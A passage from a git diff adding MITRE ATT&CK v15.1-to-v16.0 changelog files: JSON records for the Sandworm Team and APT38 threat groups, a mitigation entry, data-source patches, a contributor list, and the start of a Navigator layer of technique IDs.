"intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:32:04.588000+00:00", + "modified": "2024-09-12 17:37:44.040000+00:00", + "name": "Sandworm Team", + "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034) is a destructive threat group that has been attributed to Russia's General Staff Main Intelligence Directorate (GRU) Main Center for Special Technologies (GTsST) military unit 74455.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) This group has been active since at least 2009.(Citation: iSIGHT Sandworm 2014)(Citation: CrowdStrike VOODOO BEAR)(Citation: USDOJ Sandworm Feb 2020)(Citation: NCSC Sandworm Feb 2020)\n\nIn October 2020, the US indicted six GRU Unit 74455 officers associated with [Sandworm Team](https://attack.mitre.org/groups/G0034) for the following cyber operations: the 2015 and 2016 attacks against Ukrainian electrical companies and government organizations, the 2017 worldwide [NotPetya](https://attack.mitre.org/software/S0368) attack, targeting of the 2017 French presidential campaign, the 2018 [Olympic Destroyer](https://attack.mitre.org/software/S0365) attack against the Winter Olympic Games, the 2018 operation against the Organisation for the Prohibition of Chemical Weapons, and attacks against the country of Georgia in 2018 and 2019.(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020) Some of these were conducted with the assistance of GRU Unit 26165, which is also referred to as [APT28](https://attack.mitre.org/groups/G0007).(Citation: US District Court Indictment GRU Oct 2018)", + "aliases": [ + "Sandworm Team", + "ELECTRUM", + "Telebots", + "IRON VIKING", + "BlackEnergy (Group)", + "Quedagh", + "Voodoo Bear", + "IRIDIUM", + "Seashell Blizzard", + "FROZENBARENTS", + "APT44" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0034", + "external_id": "G0034" + }, + { + "source_name": "Voodoo Bear", + "description": "(Citation: CrowdStrike VOODOO BEAR)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "ELECTRUM", + "description": "(Citation: Dragos ELECTRUM)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Sandworm Team", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014) (Citation: InfoSecurity Sandworm Oct 2014)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Quedagh", + "description": "(Citation: iSIGHT Sandworm 2014) (Citation: F-Secure BlackEnergy 2014)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "FROZENBARENTS", + "description": "(Citation: Leonard TAG 2023)" + }, + { + "source_name": "APT44", + "description": "(Citation: mandiant_apt44_unearthing_sandworm)" + }, + { + "source_name": "IRIDIUM", + "description": "(Citation: Microsoft Prestige ransomware October 2022)" + }, + { + "source_name": "Seashell Blizzard", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BlackEnergy (Group)", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Telebots", + "description": "(Citation: NCSC Sandworm Feb 2020)(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "IRON VIKING", + "description": "(Citation: Secureworks IRON VIKING )(Citation: US District Court Indictment GRU Unit 74455 October 2020)(Citation: UK NCSC Olympic Attacks October 2020)" + }, + { + "source_name": "Leonard TAG 2023", + "description": "Billy Leonard. (2023, April 19). Ukraine remains Russia\u2019s biggest cyber focus in 2023. Retrieved March 1, 2024.", + "url": "https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023/" + }, + { + "source_name": "US District Court Indictment GRU Oct 2018", + "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020.", + "url": "https://www.justice.gov/opa/page/file/1098481/download" + }, + { + "source_name": "Dragos ELECTRUM", + "description": "Dragos. (2017, January 1). ELECTRUM Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.dragos.com/resource/electrum/" + }, + { + "source_name": "F-Secure BlackEnergy 2014", + "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.", + "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf" + }, + { + "source_name": "iSIGHT Sandworm 2014", + "description": "Hultquist, J.. (2016, January 7). Sandworm Team and the Ukrainian Power Authority Attacks. Retrieved October 6, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2016/01/ukraine-and-sandworm-team.html" + }, + { + "source_name": "CrowdStrike VOODOO BEAR", + "description": "Meyers, A. (2018, January 19). Meet CrowdStrike\u2019s Adversary of the Month for January: VOODOO BEAR. Retrieved May 22, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-january-voodoo-bear/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Microsoft Prestige ransomware October 2022", + "description": "MSTIC. (2022, October 14). New \u201cPrestige\u201d ransomware impacts organizations in Ukraine and Poland. Retrieved January 19, 2023.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/10/14/new-prestige-ransomware-impacts-organizations-in-ukraine-and-poland/" + }, + { + "source_name": "InfoSecurity Sandworm Oct 2014", + "description": "Muncaster, P.. (2014, October 14). Microsoft Zero Day Traced to Russian \u2018Sandworm\u2019 Hackers. Retrieved October 6, 2017.", + "url": "https://www.infosecurity-magazine.com/news/microsoft-zero-day-traced-russian/" + }, + { + "source_name": "NCSC Sandworm Feb 2020", + "description": "NCSC. (2020, February 20). NCSC supports US advisory regarding GRU intrusion set Sandworm. Retrieved June 10, 2020.", + "url": "https://www.ncsc.gov.uk/news/ncsc-supports-sandworm-advisory" + }, + { + "source_name": "USDOJ Sandworm Feb 2020", + "description": "Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.", + "url": "https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html" + }, + { + "source_name": "mandiant_apt44_unearthing_sandworm", + "description": "Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.", + "url": "https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf" + }, + { + "source_name": "US District Court Indictment GRU Unit 74455 October 2020", + "description": "Scott W. Brady. (2020, October 15). United States vs. Yuriy Sergeyevich Andrienko et al.. Retrieved November 25, 2020.", + "url": "https://www.justice.gov/opa/press-release/file/1328521/download" + }, + { + "source_name": "Secureworks IRON VIKING ", + "description": "Secureworks. (2020, May 1). IRON VIKING Threat Profile. Retrieved June 10, 2020.", + "url": "https://www.secureworks.com/research/threat-profiles/iron-viking" + }, + { + "source_name": "UK NCSC Olympic Attacks October 2020", + "description": "UK NCSC. (2020, October 19). UK exposes series of Russian cyber attacks against Olympic and Paralympic Games . Retrieved November 30, 2020.", + "url": "https://www.gov.uk/government/news/uk-exposes-series-of-russian-cyber-attacks-against-olympic-and-paralympic-games" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Dragos Threat Intelligence", + "Hakan KARABACAK" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-12 17:37:44.040000+00:00\", \"old_value\": \"2024-04-06 19:05:38.712000+00:00\"}, \"root['external_references'][21]['description']\": {\"new_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved September 12, 2024.\", \"old_value\": \"Pompeo, M. (2020, February 20). The United States Condemns Russian Cyber Attack Against the Country of Georgia. Retrieved June 18, 2020.\", \"new_path\": \"root['external_references'][22]['description']\"}, \"root['external_references'][21]['url']\": {\"new_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia/index.html\", \"old_value\": \"https://2017-2021.state.gov/the-united-states-condemns-russian-cyber-attack-against-the-country-of-georgia//index.html\", \"new_path\": \"root['external_references'][22]['url']\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.1\", \"old_value\": \"4.0\"}}, \"iterable_item_added\": {\"root['aliases'][10]\": \"APT44\", \"root['external_references'][6]\": {\"source_name\": \"APT44\", \"description\": \"(Citation: mandiant_apt44_unearthing_sandworm)\"}, \"root['external_references'][23]\": {\"source_name\": \"mandiant_apt44_unearthing_sandworm\", \"description\": \"Roncone, G. et al. (n.d.). APT44: Unearthing Sandworm. Retrieved July 11, 2024.\", \"url\": \"https://services.google.com/fh/files/misc/apt44-unearthing-sandworm.pdf\"}, \"root['x_mitre_contributors'][1]\": \"Hakan KARABACAK\"}}", + "previous_version": "4.0", + "version_change": "4.0 \u2192 4.1" + } + ], + "other_version_changes": [], + "patches": [ + { + "type": "intrusion-set", + "id": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-01-29 21:27:24.793000+00:00", + "modified": "2024-08-26 16:33:33.984000+00:00", + "name": "APT38", + "description": "[APT38](https://attack.mitre.org/groups/G0082) is a North Korean state-sponsored threat group that specializes in financial cyber operations; it has been attributed to the Reconnaissance General Bureau.(Citation: CISA AA20-239A BeagleBoyz August 2020) Active since at least 2014, [APT38](https://attack.mitre.org/groups/G0082) has targeted banks, financial institutions, casinos, cryptocurrency exchanges, SWIFT system endpoints, and ATMs in at least 38 countries worldwide. Significant operations include the 2016 Bank of Bangladesh heist, during which [APT38](https://attack.mitre.org/groups/G0082) stole $81 million, as well as attacks against Bancomext (Citation: FireEye APT38 Oct 2018) and Banco de Chile (Citation: FireEye APT38 Oct 2018); some of their attacks have been destructive.(Citation: CISA AA20-239A BeagleBoyz August 2020)(Citation: FireEye APT38 Oct 2018)(Citation: DOJ North Korea Indictment Feb 2021)(Citation: Kaspersky Lazarus Under The Hood Blog 2017)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.", + "aliases": [ + "APT38", + "NICKEL GLADSTONE", + "BeagleBoyz", + "Bluenoroff", + "Stardust Chollima", + "Sapphire Sleet", + "COPERNICIUM" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0082", + "external_id": "G0082" + }, + { + "source_name": "BeagleBoyz", + "description": "(Citation: CISA AA20-239A BeagleBoyz August 2020)" + }, + { + "source_name": "Stardust Chollima", + "description": "(Citation: CrowdStrike Stardust Chollima Profile April 2018)(Citation: CrowdStrike GTR 2021 June 2021)" + }, + { + "source_name": "APT38", + "description": "(Citation: FireEye APT38 Oct 2018)" + }, + { + "source_name": "Bluenoroff", + "description": "(Citation: Kaspersky Lazarus Under The Hood Blog 2017)" + }, + { + "source_name": "Sapphire Sleet", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "COPERNICIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "NICKEL GLADSTONE", + "description": "(Citation: SecureWorks NICKEL GLADSTONE profile Sept 2021)" + }, + { + "source_name": "CrowdStrike GTR 2021 June 2021", + "description": "CrowdStrike. (2021, June 7). CrowdStrike 2021 Global Threat Report. Retrieved September 29, 2021.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf" + }, + { + "source_name": "DOJ North Korea Indictment Feb 2021", + "description": "Department of Justice. (2021, February 17). Three North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyberattacks and Financial Crimes Across the Globe. Retrieved June 9, 2021.", + "url": "https://www.justice.gov/opa/pr/three-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyberattacks-and" + }, + { + "source_name": "CISA AA20-239A BeagleBoyz August 2020", + "description": "DHS/CISA. (2020, August 26). FASTCash 2.0: North Korea's BeagleBoyz Robbing Banks. Retrieved September 29, 2021.", + "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a" + }, + { + "source_name": "FireEye APT38 Oct 2018", + "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.", + "url": "https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "CrowdStrike Stardust Chollima Profile April 2018", + "description": "Meyers, Adam. (2018, April 6). Meet CrowdStrike\u2019s Adversary of the Month for April: STARDUST CHOLLIMA. Retrieved September 29, 2021.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-april-stardust-chollima/" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "SecureWorks NICKEL GLADSTONE profile Sept 2021", + "description": "SecureWorks. (2021, September 29). NICKEL GLADSTONE Threat Profile. Retrieved September 29, 2021.", + "url": "https://www.secureworks.com/research/threat-profiles/nickel-gladstone" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-08-26 16:33:33.984000+00:00\", \"old_value\": \"2024-04-17 22:08:29.146000+00:00\"}, \"root['external_references'][11]['url']\": {\"new_value\": \"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf\", \"old_value\": \"https://content.fireeye.com/apt/rpt-apt38\"}}}", + "previous_version": "3.0" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [ + { + "type": "course-of-action", + "id": "course-of-action--72e46e53-e12d-4106-9c70-33241b6ed549", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-06-06 21:16:18.709000+00:00", + "modified": "2024-10-14 20:31:04.927000+00:00", + "name": "Software Process and Device Authentication", + "description": "Require the authentication of devices and software processes where appropriate. Devices that connect remotely to other systems should require strong authentication to prevent spoofing of communications. Furthermore, software processes should also require authentication when accessing APIs.", + "revoked": false, + "labels": [ + "IEC 62443-3-3:2013 - SR 1.2", + "IEC 62443-4-2:2019 - CR 1.2", + "NIST SP 800-53 Rev. 5 - IA-3" + ], + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/mitigations/M0813", + "external_id": "M0813" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 20:31:04.927000+00:00\", \"old_value\": \"2023-09-20 13:12:24.527000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}, \"root['labels'][2]\": {\"new_value\": \"NIST SP 800-53 Rev. 5 - IA-3\", \"old_value\": \"NIST SP 800-53 Rev. 5 - IA-9\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1" + } + ], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [ + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Application Log", + "description": "Events collected by third-party services such as mail servers, web applications, or other appliances (not by the native OS or platform)(Citation: Confluence Logs)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite" + ], + "x_mitre_domains": [ + "enterprise-attack", + "ics-attack" + ], + "x_mitre_version": "1.0", + "x_mitre_attack_spec_version": "2.1.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--40269753-26bd-437b-986e-159c66dec5e4", + "created": "2021-10-20T15:05:19.272Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0015", + "external_id": "DS0015" + }, + { + "source_name": "Confluence Logs", + "description": "Confluence Support. (2021, April 22). Working with Confluence Logs. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/doc/working-with-confluence-logs-108364721.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-05-11T14:00:00.188Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Google Workspace\", \"root['x_mitre_platforms'][3]\": \"Office 365\"}}", + "previous_version": "1.0" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "Logon Session", + "description": "Logon occurring on a system or resource (local, domain, or cloud) to which a user/device is gaining access after successful authentication and authorization(Citation: Microsoft Audit Logon Events)", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.1", + "x_mitre_attack_spec_version": "3.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--4358c631-e253-4557-86df-f687d0ef9891", + "created": "2021-10-20T15:05:19.274Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0028", + "external_id": "DS0028" + }, + { + "source_name": "Microsoft Audit Logon Events", + "description": "Microsoft. (2021, September 6). Audit logon events. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/basic-audit-logon-events" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-12-07T19:45:09.019Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][5]\": \"Office Suite\", \"root['x_mitre_platforms'][6]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][1]\": \"Google Workspace\", \"root['x_mitre_platforms'][4]\": \"Office 365\"}}", + "previous_version": "1.1" + }, + { + "modified": "2024-10-14T22:11:30.271Z", + "name": "User Account", + "description": "A profile representing a user, device, service, or application used to authenticate and access resources", + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "IaaS", + "Linux", + "SaaS", + "Windows", + "macOS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_version": "1.1", + "x_mitre_attack_spec_version": "3.1.0", + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)" + ], + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Container", + "Host" + ], + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--0b4f86ed-f4ab-46a3-8ed1-175be1974da6", + "created": "2021-10-20T15:05:19.271Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0002", + "external_id": "DS0002" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14T22:11:30.271Z\", \"old_value\": \"2022-12-07T19:50:43.993Z\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][6]\": \"Office Suite\", \"root['x_mitre_platforms'][7]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][0]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Google Workspace\", \"root['x_mitre_platforms'][5]\": \"Office 365\"}}", + "previous_version": "1.1" + } + ], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datacomponents": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + } + }, + "new-contributors": [ + "@grahamhelton3", + "Arun Seelagan, CISA", + "Asritha Narina", + "Aung Kyaw Min Naing, @Nolan", + "Barbara Louis-Sidney (OWN-CERT)", + "Catherine Williams, BT Security", + "Centre for Cybersecurity Belgium (CCB)", + "Cris Tomboc, Truswave SpiderLabs", + "Csaba Fitzl @theevilbit of Kandji", + "Daniel Acevedo, Blackbot", + "Denise Tan", + "Diego Sappa, Securonix", + "Domenico Mazzaferro Palmeri", + "Dray Agha, @Purp1eW0lf, Huntress Labs", + "Eder P\u00e9rez Ignacio, @ch4ik0", + "Eduardo Gonz\u00e1lez Hern\u00e1ndez (@codexlynx)", + "Furkan Celiik", + "Hakan KARABACAK", + "Harikrishnan Muthu, Cyble", + "Harry Hill, BT Security", + "Inna Danilevich, U.S. Bank", + "Jai Minton, CrowdStrike", + "James Emery-Callcott, Emerging Threats Team, Proofpoint", + "James P Callahan, Professional Paranoid", + "Jamie Williams (U \u03c9 U), PANW Unit 42", + "Jennifer Kim Roman, CrowdStrike", + "Joe Gumke, U.S. Bank", + "Jorge Orchilles", + "Liran Ravich, CardinalOps", + "Madhukar Raina (Senior Security Researcher - Hack The Box, UK)", + "Manikantan Srinivasan, NEC Corporation India", + "Marco Pedrinazzi, @pedrinazziM", + "Massimo Giaimo, W\u00fcrth Group Cyber Defence Center", + "Matt Anderson, @\u200cnosecurething, Huntress", + "Matt Brenton", + "Menachem Goldstein", + "Michael Forret, Quorum Cyber", + "Mike Hartley @mikehartley10", + "Nagahama Hiroki \u2013 NEC Corporation Japan", + "Naveen Vijayaraghavan", + "Nilesh Dherange (Gurucul)", + "Obsidian Security", + "Onur Atali", + "OWN", + "Phyo Paing Htun (ChiLai)", + "Pooja Natarajan, NEC Corporation India", + "ReliaQuest", + "Riku Katsuse, NEC Corporation", + "Ruben Groenewoud, Elastic", + "Sam Seabrook, Duke Energy", + "Sarathkumar Rajendran, Microsoft Defender365", + "Sareena Karapoola, NEC Corporation India", + "Sharon Brizinov, Claroty Team82 Research", + "Sofia Sanchez Margolles", + "Subhash Thapa", + "Swachchhanda Shrawan Poudel", + "Takemasa Kamatani, NEC Corporation", + "TruKno", + "Vito Alfano, Group-IB", + "Wirapong Petshagun", + "Wojciech Regu\u0142a @_r3ggi", + "Ye Yint Min Thu Htut, Active Defense Team, DBS Bank", + "Yoshihiro Kori, NEC Corporation", + "Zaw Min Htun, @Z3TAE" + ] +} \ No newline at end of file diff --git a/modules/resources/docs/changelogs/v15.1-v16.0/layer-enterprise.json b/modules/resources/docs/changelogs/v15.1-v16.0/layer-enterprise.json new file mode 100644 index 00000000000..a7ace3241c7 --- /dev/null +++ b/modules/resources/docs/changelogs/v15.1-v16.0/layer-enterprise.json @@ -0,0 +1,2673 @@ +{ + "versions": { + "layer": "4.5", + "navigator": "5.0.0", + "attack": "16.0" + }, + "name": "October 2024 Enterprise Updates", + "description": "Enterprise updates for the October 2024 release of ATT&CK", + "domain": "enterprise-attack", + "techniques": [ + { + "techniqueID": "T1098.007", + "tactic": "persistence", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1098.007", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1496.002", + "tactic": "impact", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1558.005", + "tactic": "credential-access", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1127.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1496.004", + "tactic": "impact", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1496.001", + "tactic": "impact", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1213.004", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1557.004", + "tactic": "credential-access", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1557.004", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1485.001", + "tactic": "impact", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1059.011", + "tactic": "execution", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1036.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1213.005", + "tactic": "collection", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1666", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1480.002", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1027.014", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1071.005", + "tactic": "command-and-control", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1070.010", + "tactic": "defense-evasion", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1496.003", + "tactic": "impact", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1546.017", + "tactic": "persistence", + "enabled": true, + "color": "#a1d99b", + "comment": "addition" + }, + { + "techniqueID": "T1027.011", + "tactic": "defense-evasion", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1578.005", + "tactic": "defense-evasion", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1001.003", + "tactic": "command-and-control", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1496", + "tactic": "impact", + "enabled": true, + "color": "#fcf3a2", + "comment": "major_version_change" + }, + { + "techniqueID": "T1003.008", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1558.004", + "tactic": "credential-access", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548", + "tactic": "privilege-escalation", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1548", + "tactic": "defense-evasion", + "enabled": true, + "color": "#c7c4e0", + "comment": "minor_version_change" + }, + { + "techniqueID": "T1531", + "tactic": "impact", + "enabled": true, + "color": 